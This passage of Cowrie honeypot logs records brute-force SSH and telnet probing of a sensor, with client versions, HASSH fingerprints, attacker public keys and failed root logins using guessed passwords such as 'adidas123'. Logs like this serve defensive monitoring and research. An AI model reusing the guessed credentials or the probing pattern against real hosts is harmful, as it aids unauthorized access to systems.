16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:46.564648Z","src_ip":"109.237.96.109","session":"43ac36a846ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"323232","message":"login attempt [root/323232] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:46.833308Z","src_ip":"109.237.96.109","session":"43ac36a846ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:47.928389Z","src_ip":"109.237.96.109","session":"43ac36a846ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48422,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c653c9e5180","protocol":"telnet","message":"New connection: 152.42.224.71:48422 (10.17.0.5:23) [session: 3c653c9e5180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:55.311200Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":41662,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c419a6ea5de","protocol":"ssh","message":"New connection: 103.183.114.55:41662 (10.17.0.5:22) [session: 8c419a6ea5de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:55.940364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:55.945712Z","src_ip":"103.183.114.55","session":"8c419a6ea5de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:56.174342Z","src_ip":"103.183.114.55","session":"8c419a6ea5de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adidas123","message":"login attempt [root/adidas123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:56.847694Z","src_ip":"103.183.114.55","session":"8c419a6ea5de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:51:58.076388Z","src_ip":"103.183.114.55","session":"8c419a6ea5de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.53.168.23","src_port":40264,"dst_ip":"10.17.0.5","dst_port":22,"session":"262befef8449","protocol":"ssh","message":"New connection: 163.53.168.23:40264 (10.17.0.5:22) [session: 262befef8449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:16.373930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:16.379288Z","src_ip":"163.53.168.23","session":"262befef8449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59376,"dst_ip":"10.17.0.5","dst_port":23,"session":"9462e156ec37","protocol":"telnet","message":"New connection: 152.42.224.71:59376 (10.17.0.5:23) [session: 9462e156ec37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:17.050798Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:17.286224Z","src_ip":"163.53.168.23","session":"262befef8449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":50568,"dst_ip":"10.17.0.5","dst_port":23,"session":"b12422ecf013","protocol":"telnet","message":"New connection: 213.108.3.46:50568 (10.17.0.5:23) [session: b12422ecf013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:17.723814Z"}
{"eventid":"cowrie.session.closed","duration":0.01674032211303711,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:17.740422Z","src_ip":"213.108.3.46","session":"b12422ecf013","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.49002170562744,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:17.801107Z","src_ip":"152.42.224.71","session":"3c653c9e5180","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"testuser2","message":"login attempt [root/testuser2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:18.250162Z","src_ip":"163.53.168.23","session":"262befef8449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.30129909515381,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:18.295419Z","src_ip":"152.42.224.71","session":"730ee6bdca34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:19.893172Z","src_ip":"163.53.168.23","session":"262befef8449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.96.178.216","src_port":18394,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a6cfb0f1218","protocol":"ssh","message":"New connection: 38.96.178.216:18394 (10.17.0.5:22) [session: 6a6cfb0f1218]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:25.817865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:25.823023Z","src_ip":"38.96.178.216","session":"6a6cfb0f1218","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:25.831040Z","src_ip":"38.96.178.216","session":"6a6cfb0f1218","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:c8:25:5f:18:b4:c7:22:02:f8:f1:c8:1c:e6:12:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAs/RaMeBYu3RnewOH1GduQUv/QXkhmWwI4A4+W5xD+Gvm8lMSHQs0TP6rxBDiY3Kg7tQEyYnEFRXTz+fed4FNJmgkXmLljsFr7x8W0zpG7+m3PP+k1oTm5HDQOFtNcO0PJIgpVZZDH+FlBR/qTymfmHRS3lWURdBT1JzjbaPtmW8/XN/o62h/ITtCne2Inlmf8SwsJZhh4d02arogZTJFWLgnG49QrB6R01YMinOgZHEoUxRC6T55D3e3j2ut3x4/kRUyPBVK/JXjIqyC0hOb++MhqKiioUu3qEChgBd1JazHXSB8wnbZQIt0uHngv+eTeEMbk851G2V8JY+3ANxMFLX0K3gNnh7Vag44RXT69EMbOwqRP6MAgN7jsWtEA6YqZNrD3HoMjvBeXxwsv7u2pfJ45z+AfMwDnqHwBgTBnLVXySz934ccb9RZYIgQcjQHa0fDRQHSJwa83XFMf2HY1grTfl2C3/UcsPMaocjglTrSF8/q1mXX0FRLC21rhS5FBmD9IIIEkp0h2qkL18KLhR/cHvMxyAV7yp6ZB/iiev9TTSZu4b0y2rqhohc32CvpTJf1ytviIsFLZZv8ISAEPiCLV8IMehAF9oTbP3v0j5b4/ixaQYHF+jjImcXYk4gmoXRjWwEGTaBj8kif6KxS9Ty+ZiT3Pqp3Mb7M6o+ztB0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:c8:25:5f:18:b4:c7:22:02:f8:f1:c8:1c:e6:12:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:25.850431Z","src_ip":"38.96.178.216","session":"6a6cfb0f1218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:c8:25:5f:18:b4:c7:22:02:f8:f1:c8:1c:e6:12:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAs/RaMeBYu3RnewOH1GduQUv/QXkhmWwI4A4+W5xD+Gvm8lMSHQs0TP6rxBDiY3Kg7tQEyYnEFRXTz+fed4FNJmgkXmLljsFr7x8W0zpG7+m3PP+k1oTm5HDQOFtNcO0PJIgpVZZDH+FlBR/qTymfmHRS3lWURdBT1JzjbaPtmW8/XN/o62h/ITtCne2Inlmf8SwsJZhh4d02arogZTJFWLgnG49QrB6R01YMinOgZHEoUxRC6T55D3e3j2ut3x4/kRUyPBVK/JXjIqyC0hOb++MhqKiioUu3qEChgBd1JazHXSB8wnbZQIt0uHngv+eTeEMbk851G2V8JY+3ANxMFLX0K3gNnh7Vag44RXT69EMbOwqRP6MAgN7jsWtEA6YqZNrD3HoMjvBeXxwsv7u2pfJ45z+AfMwDnqHwBgTBnLVXySz934ccb9RZYIgQcjQHa0fDRQHSJwa83XFMf2HY1grTfl2C3/UcsPMaocjglTrSF8/q1mXX0FRLC21rhS5FBmD9IIIEkp0h2qkL18KLhR/cHvMxyAV7yp6ZB/iiev9TTSZu4b0y2rqhohc32CvpTJf1ytviIsFLZZv8ISAEPiCLV8IMehAF9oTbP3v0j5b4/ixaQYHF+jjImcXYk4gmoXRjWwEGTaBj8kif6KxS9Ty+ZiT3Pqp3Mb7M6o+ztB0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:25.855099Z","src_ip":"38.96.178.216","session":"6a6cfb0f1218","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"68:91:f5:5e:75:94:6c:b5:db:24:fc:20:67:3c:db:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApjim552CNcaGHEviWdLiZkGoZVxv3unvrpLUQrglkQgK9jzDVEsXkMshDP9QrBBQPNQQA7vqaCf5X2gbuqe7NRnxFwgkym+kMHKxuTwGX8K+xWLoMmKwcSSyjlaTfZmTEzzl4p8A7aamTAXONMyrXnTWYEuvfUKNeVRh0yYE2mu8O2TE6Hi8qo+f/LGPtz5FJjWRhIB7jxtbk2HegNZFGR8BFbXHSDj8faIA5rVmDQuf6DncadK5fGOi55zlBBUWYCDMj5LK2vmjeu37Bk14B2nrCjdIpCU1ny8Y4ng5mvPI/pp/cVx7cEZy5f/Wv8BdJ7v/dry9PPfIAltEhplk9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 68:91:f5:5e:75:94:6c:b5:db:24:fc:20:67:3c:db:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:25.871531Z","src_ip":"38.96.178.216","session":"6a6cfb0f1218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"68:91:f5:5e:75:94:6c:b5:db:24:fc:20:67:3c:db:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApjim552CNcaGHEviWdLiZkGoZVxv3unvrpLUQrglkQgK9jzDVEsXkMshDP9QrBBQPNQQA7vqaCf5X2gbuqe7NRnxFwgkym+kMHKxuTwGX8K+xWLoMmKwcSSyjlaTfZmTEzzl4p8A7aamTAXONMyrXnTWYEuvfUKNeVRh0yYE2mu8O2TE6Hi8qo+f/LGPtz5FJjWRhIB7jxtbk2HegNZFGR8BFbXHSDj8faIA5rVmDQuf6DncadK5fGOi55zlBBUWYCDMj5LK2vmjeu37Bk14B2nrCjdIpCU1ny8Y4ng5mvPI/pp/cVx7cEZy5f/Wv8BdJ7v/dry9PPfIAltEhplk9w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:25.876227Z","src_ip":"38.96.178.216","session":"6a6cfb0f1218","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:9d:b0:d2:55:a8:25:0d:7d:c7:88:aa:09:dc:66:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtTX7A1FBTHc2Ldibx5KV1NjTQw1sxoUjPx7fqfee4eCbjBNB3XAdcVUgGs9ol8itiCsIDJQIVs6UmOJc+iMaCpQA5zi96FukypHuPYPNG5d7Rdt+N3VLMVZAFtQk/J5ezUF6kT+2rvLrEsmbW7RVZQb/fTMDJFrCIJPLCBGXtxZE62wY8KDw4GgyLBte709oRtmMktHzblibX6eYn+tPeLjnXAt5A/WJSDZYH07cEDDN5Db/9OD7MfEZRHtKwvNa/PkKriZUk/KqdA1RWTZtqk0JBs7ygNTpaCLib6TF03vqscRnXBLGdUVEpuq3WRfSlZGjas/5nd42o2lfL6NrVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:9d:b0:d2:55:a8:25:0d:7d:c7:88:aa:09:dc:66:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:25.886804Z","src_ip":"38.96.178.216","session":"6a6cfb0f1218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:9d:b0:d2:55:a8:25:0d:7d:c7:88:aa:09:dc:66:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtTX7A1FBTHc2Ldibx5KV1NjTQw1sxoUjPx7fqfee4eCbjBNB3XAdcVUgGs9ol8itiCsIDJQIVs6UmOJc+iMaCpQA5zi96FukypHuPYPNG5d7Rdt+N3VLMVZAFtQk/J5ezUF6kT+2rvLrEsmbW7RVZQb/fTMDJFrCIJPLCBGXtxZE62wY8KDw4GgyLBte709oRtmMktHzblibX6eYn+tPeLjnXAt5A/WJSDZYH07cEDDN5Db/9OD7MfEZRHtKwvNa/PkKriZUk/KqdA1RWTZtqk0JBs7ygNTpaCLib6TF03vqscRnXBLGdUVEpuq3WRfSlZGjas/5nd42o2lfL6NrVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:25.890802Z","src_ip":"38.96.178.216","session":"6a6cfb0f1218","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:d3:58:80:6b:9f:9e:56:ee:6e:13:71:1d:37:8a:b2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIMowoZHZYTvxhg7uDI6NuRfDgFJgavzcY35SbNtPoE1","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 56:d3:58:80:6b:9f:9e:56:ee:6e:13:71:1d:37:8a:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:25.901928Z","src_ip":"38.96.178.216","session":"6a6cfb0f1218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:d3:58:80:6b:9f:9e:56:ee:6e:13:71:1d:37:8a:b2","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIMowoZHZYTvxhg7uDI6NuRfDgFJgavzcY35SbNtPoE1","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:25.906279Z","src_ip":"38.96.178.216","session":"6a6cfb0f1218","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:b0:f7:7e:78:85:63:ad:7f:92:4d:27:a0:b7:a8:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZVaTwe3OAhvY2A2n1tRcHzlXB744XwadFYURFJdBF1Xl3bQmD2UPzGdT8vpYY0OPqDPVrDuyIiBNG23VfZEml9I9CyWnaO5c4rqgGwr+YlIuzfGREFNuKF+YmjMjUkdmo0YUsD4JJquTTQQxEwi4uIgIK0VF7kcRgEkWBOZxrmBk6c42esqTKbexb3ia0ahLS/JwKRNnkqjdEQbu2FtpwLtK5SK8rKQTCQK22KBlt83o5by+QLj+h1vfCOVQUrmBQAX9NFT8AmKxyxjOFpC/5E2mZASwoNxc/8dVG6Ji8GGNzQJgZgZNuXdXlR//ql955mTbJs1tdOSZdgjXl4Wyn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2c:b0:f7:7e:78:85:63:ad:7f:92:4d:27:a0:b7:a8:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:25.915658Z","src_ip":"38.96.178.216","session":"6a6cfb0f1218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:b0:f7:7e:78:85:63:ad:7f:92:4d:27:a0:b7:a8:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZVaTwe3OAhvY2A2n1tRcHzlXB744XwadFYURFJdBF1Xl3bQmD2UPzGdT8vpYY0OPqDPVrDuyIiBNG23VfZEml9I9CyWnaO5c4rqgGwr+YlIuzfGREFNuKF+YmjMjUkdmo0YUsD4JJquTTQQxEwi4uIgIK0VF7kcRgEkWBOZxrmBk6c42esqTKbexb3ia0ahLS/JwKRNnkqjdEQbu2FtpwLtK5SK8rKQTCQK22KBlt83o5by+QLj+h1vfCOVQUrmBQAX9NFT8AmKxyxjOFpC/5E2mZASwoNxc/8dVG6Ji8GGNzQJgZgZNuXdXlR//ql955mTbJs1tdOSZdgjXl4Wyn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:25.928627Z","src_ip":"38.96.178.216","session":"6a6cfb0f1218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:25.940734Z","src_ip":"38.96.178.216","session":"6a6cfb0f1218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":60906,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a91d4f9f1ee","protocol":"ssh","message":"New connection: 109.172.54.111:60906 (10.17.0.5:22) [session: 4a91d4f9f1ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:33.561413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:33.773664Z","src_ip":"109.172.54.111","session":"4a91d4f9f1ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:33.778604Z","src_ip":"109.172.54.111","session":"4a91d4f9f1ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:34.227149Z","src_ip":"109.172.54.111","session":"4a91d4f9f1ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T14:52:35.326557Z","src_ip":"109.172.54.111","session":"4a91d4f9f1ee","protocol":"ssh"}
